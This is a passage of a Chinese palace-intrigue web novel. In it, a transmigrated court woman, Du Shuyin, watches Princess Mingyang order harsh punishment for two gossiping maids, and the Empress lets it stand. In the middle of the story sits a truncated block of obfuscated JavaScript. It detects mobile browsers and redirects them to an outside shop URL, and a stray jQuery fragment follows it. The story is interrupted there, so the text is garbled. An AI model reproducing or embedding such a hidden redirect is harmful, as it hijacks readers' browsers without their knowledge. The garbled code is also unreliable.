夏日的太阳总是十分耀眼夺目,连它洒下来的光照在人身上都能感觉热热的。
长公主走到一处树荫下停下来,她伸手去接树上掉下来的落叶,神色悠然,道:“我听说过,秦秀缘是宁国公的长女,她为了陛下和宁国公结盟而联姻,没想到那么快就失宠了。”
她看着手掌里那片树叶的纹路,心中一阵感慨,她将树叶递到杜书音的面前,道:“你看,这世间女子就像是这树叶,每一片树叶的纹路都不同,都有各自的命运,所以,千万不要因为别人的原因而放弃自己一开始选择的要走的路。”
杜书音听到这番话竟觉得十分离奇。她是没想到这个世界的人还能有这样的领悟。她很想抬头看看长公主此时的神情,难道她也是穿越者吗?
心脏砰砰的跳动声又在耳边响起,手指无意识地互相摩挲,但她始终低着头,眼帘垂下遮住大部分视线。她绝对不能露出任何一点奇怪的表现,若是被有心人看到,一定会死无葬身之地的。
而且,两名穿越者相认,对她来说并没有什么好处,只会增加自己暴露身份的风险。
长公主见她一直低着头,眉头微蹙,想来是个没有悟性的人。这个道理不是每个人都能听懂的,她还是从一位宫人的嘴里听来的,觉得十分有道理。
不过,看杜书音一脸不明白的模样,她就已经确定,宫中的传言也是有假的。
她在回京的途中早就听到了关于杜书音的传言,听说皇弟还下了一道圣旨,特赦了她。今日这番试探,看来皇弟没有赦免错人。
穿越者对她而言,就是一个嘲讽她的存在。她必须时时刻刻注意身边的人,避免有人不忠。
“嘿,你干什么去?”这边异常安静,倒是显得远处的女声十分清晰。
杜书音和这边的人纷纷抬头朝前面望去,发现十几米之外有一处拱门。那道拱门连接太液池和掖庭宫,因为走那条路要绕路,所以很多人不走这边,时间一久,便荒废下来了。
拱门内外两侧的地方种有半人高的树丛,此时往那一看,正巧能看到一位宫人的衣角。
另一个女声出现,“我?我要去尚宫局给娘娘送东西。”
“等会再去,你知道明阳长公主要回京了吗?我听说了一件大事,是宫里的老人告诉我的。”
杜书音额角青筋露出,她直觉那人要说出一些宫中秘辛。她抬头悄然看了一眼长公主,发现长公主正全神贯注地看向说话的两人的地方。
杜书音抬脚往那处走,没走几步手腕忽然被长公主身边的宫人拉住。那名宫人面色严肃,眼睛紧紧地盯着她,对着杜书音轻轻摇头,示意杜书音不要过去。
她回头看了一眼长公主的脸色,发现长公主也在看她,她在嘴边竖起一根手指,无声地做了一个“嘘”的动作。
杜书音听到远处一个雀跃的声音,“你快说!”
下一秒,女子的声音顿时压低了不少,那宫人道:“我听说,明阳驸马是个病秧子,长公主嫁过去之后,没多久就病逝了。有人说,明阳长公主就是因为他病弱的缘故才找他当驸马。这驸马一病重离世,长公主就一直未嫁,就是为了等之前的心上人回头,好良缘重聚。”
长公主等到她们把话说完已经是有极好的耐心了。她分给徐叶一个眼神,徐叶顿时领悟。
杜书音感觉手腕一松,身旁长公主带来的宫人立即朝说话的地方走去。
她脚步轻盈,身形很快,没一会远处树丛后发出一阵刺耳的尖叫。两名宫女的声音此起彼伏,一声高过一声,她们在树丛后叫了一阵,终于被徐叶拽了出来。
她一手抓着一个人的手腕,连拉带拽地将两名宫人带到长公主的面前。
两名宫人知道自己说错了话,立即对着长公主叩拜,忙道:“贵人饶命,贵人饶命,我们再也不敢了……”
长公主一扔手里的绿叶,神色凌厉道:“贵人?你们在背后说我的是非,竟然还不认识我吗?”
那两名宫女抬头看了一眼长公主,两双眼睛纷纷瞪大,她们不可置信地互相对视了一眼,不是说长公主还有十几日才到京城的吗?
她们继续叩拜求饶道:“长公主饶命……”
长公主对于她们的求饶恍若未闻,她抬头看天,悠悠道:“人人都说皇弟登基后,将皇宫里的人换了一批又一批,本以为这次回京会找不到老人说说话,现在看来我们还挺有缘分。”她一偏头,对杜书音道:“宫里的规矩没变吧?这种事情要怎么处置?”
杜书音目光从地上的宫人身上移开,低头恭敬回禀道:“回长公主,背后非议者,掌嘴二十。”
明阳伸手挡了挡天上并不能照到她的太阳,不满道:“看来还是变了。”她面色不耐,看向徐叶,“徐叶你说,当初宫里的规矩是什么?”
徐叶回禀道:“非议公主,侮辱皇室,目无尊卑,应当割舌、关入暴室,永不得出。”
杜书音听着一阵胆寒,浑身的鸡皮疙瘩都起来了,她生生忍住了想要搓一搓胳膊的动作。她见长公主身后的宫人走向跪在前面的两名宫人,忙道:“长公主殿下!如今这内廷是皇后在管理,您若是这么处置,恐怕不好吧?”
明阳忽然一笑,她抬脚往拾翠殿方向走去,缓缓道:“皇后向来知道我的脾气,你回去告诉她吧,想来她也不会有异议。”
跪在地上的两名宫人被长公主的宫人拽走,她们哭得眼泪汪汪,喊得声嘶力竭,愣是什么都没能改变。
杜书音一路跑到蓬莱殿的时候,皇后正端坐于棋盘前,伸手下子。
“娘娘!”杜书音一个滑跪,跪在皇后的身侧。
“什么事?”皇后专注于棋盘上的布局,分神问了一句。
“明阳长公主进宫了,您知道吗?”杜书音问。
“知道,她方才见过我了。”皇后抬手下了一个白子。
“长公主在宫道上听到有人非议她,要将两名宫人关入暴室和割舌!”杜书音额头满是汗珠,她急切地想要得到皇后的命令,然后去拦下那两名被带走的宫女。
皇后要下黑子的手一顿,突兀地停在空中,她整个人像是被定身了一样,一动不动。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990217|187145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>杜书音不知道皇后是在思考对策还是在思考如何下子,她跪在地上等了几秒,终于忍不住出口问道:“娘娘不管吗?”
皇后终于想通了,她手中的黑子利索找到一处,然后落下。她淡淡道:“皇姐还是公主的时候就住在这里,这里也算是她的家,她想要如何处置那便如何处置吧。”
什么……杜书音双眼无神,她整个人就像是愣住了一样,迟迟没有反应过来皇后说的话是什么意思。
“那以后呢?”杜书音不死心,继续追问。
皇后又下了一子,淡然道:“皇姐就是这样的脾气,陛下和父皇都是知道的。以后关于宫人的事情,你就不用来禀报了。皇姐好不容易回家,自当让她舒服。”皇后的视线终于从棋盘上移到杜书音的脸上,吩咐道:“你传令下去,让尚功局的人日后多在各宫走动,遇到不遵守宫规的宫人就按照规矩办。”
“是。”杜书音眼神彻底黯淡下来。
她没有想到以往看着十分和善的皇后竟然会对此毫不关心,唯一在意的竟是明阳长公主住的舒不舒服。
仔细一想,皇后的思虑也没错。毕竟他们才是皇宫的主人,像她们这样的宫人只是奴婢而已,几条命,甚至几十条命在陛下眼里又算得了什么。
只要给她们戴上“穿越者”的名号,就算是有一千个,恐怕也只是手起刀落,一句话的事情吧。
杜书音一下午都在尚功局安排人手,布置区域分配给各个小队。等到她再次回到蓬莱殿的时候,已经是就寝的时间了。
看着桌上微微亮着的蜡烛,杜书音缓缓吐出一口气,总算可以休息会了。
“姐姐你用过饭了吗?我给你留了个馒头。”林云举着一块洁白的馒头递到杜书音的面前,见她不动,又在她面前晃了晃。
“谢谢。”杜书音接过,大口咬了一块。
林云怕她噎着,走到桌边给她倒了一杯水,还没往这边走,门忽然被张梦从外面大力推开。
她走到桌边“啪”一声坐下,端起林云手里的茶水一阵猛喝。
“你干什么去了?怎么喝得那么急?”林云也不恼,重新倒了一杯水。
张梦喝了水,猛地吐出一口悠长的气。
她转身激动道:“下午不知怎么了?尚功局的人突然开始查宫规了?她们一队一队从身边走过,在路上连话都不让我们说。”她偷偷看了一眼屋外,压低声音道:“我听说紫兰殿有一位宫人在路上与身边的宫人说话,结果就被尚功局的人给扣下了。现在宫里都人心惶惶的,大家没事都不敢出门,就是出去了也不敢多说一个字。”
“这么严重,这是发生什么了?”林云手里的水都忘记递给杜书音了,听得十分认真。
杜书音吃完一个馒头,接过林云手里的水,对着她眨了眨眼睛,示意感谢,说道:“没你们说的那么严重。明阳长公主住在宫里,避免宫人冲撞宫中贵人,皇后让我们这段时间严查是否有人不守宫规。”她看向张梦,“你说得情况,应该是她们触犯了宫规,被关进尚功局了,如果表现好,指不定会提前出来。”